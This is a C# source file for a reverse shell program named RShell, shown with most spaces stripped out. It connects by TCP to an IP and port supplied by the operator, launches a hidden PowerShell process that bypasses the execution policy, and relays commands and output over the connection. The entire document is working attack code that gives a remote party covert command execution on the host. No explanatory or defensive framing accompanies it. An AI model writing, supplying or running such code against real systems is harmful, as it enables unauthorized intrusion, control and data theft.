usingSystem;usingSystem.IO;usingSystem.Net.Sockets;usingSystem.Diagnostics;namespaceRShell{internalclassProgram {privatestaticStreamWriter streamWriter; // Needs to be global so that HandleDataReceived() can access itstaticvoidMain(string[] args) { // Check for correct number of argumentsif (args.Length!=2) {Console.WriteLine("Usage: RShell.exe <IP> <Port>");return; }try { // Connect to <IP> on <Port>/TCPTcpClient client =newTcpClient();client.Connect(args[0],int.Parse(args[1])); // Set up input/output streamsStream stream =client.GetStream();StreamReader streamReader =newStreamReader(stream); streamWriter =newStreamWriter(stream); // Define a hidden PowerShell (-ep bypass -nologo) process with STDOUT/ERR/IN all redirectedProcess p =newProcess();p.StartInfo.FileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";p.StartInfo.Arguments="-ep bypass -nologo";p.StartInfo.WindowStyle=ProcessWindowStyle.Hidden;p.StartInfo.UseShellExecute=false;p.StartInfo.RedirectStandardOutput=true;p.StartInfo.RedirectStandardError=true;p.StartInfo.RedirectStandardInput=true;p.OutputDataReceived+=newDataReceivedEventHandler(HandleDataReceived);p.ErrorDataReceived+=newDataReceivedEventHandler(HandleDataReceived); // Start process and begin reading outputp.Start();p.BeginOutputReadLine();p.BeginErrorReadLine(); // Re-route user-input to STDIN of the PowerShell process // If we see the user sent "exit", we can stopstring userInput ="";while (!userInput.Equals("exit")) { userInput =streamReader.ReadLine();p.StandardInput.WriteLine(userInput); } // Wait for PowerShell to exit (based on user-inputted exit), and close the processp.WaitForExit();client.Close(); }catch (Exception) { } }privatestaticvoidHandleDataReceived(object sender,DataReceivedEventArgs e) {if (e.Data!=null) {streamWriter.WriteLine(e.Data);streamWriter.Flush(); } } }}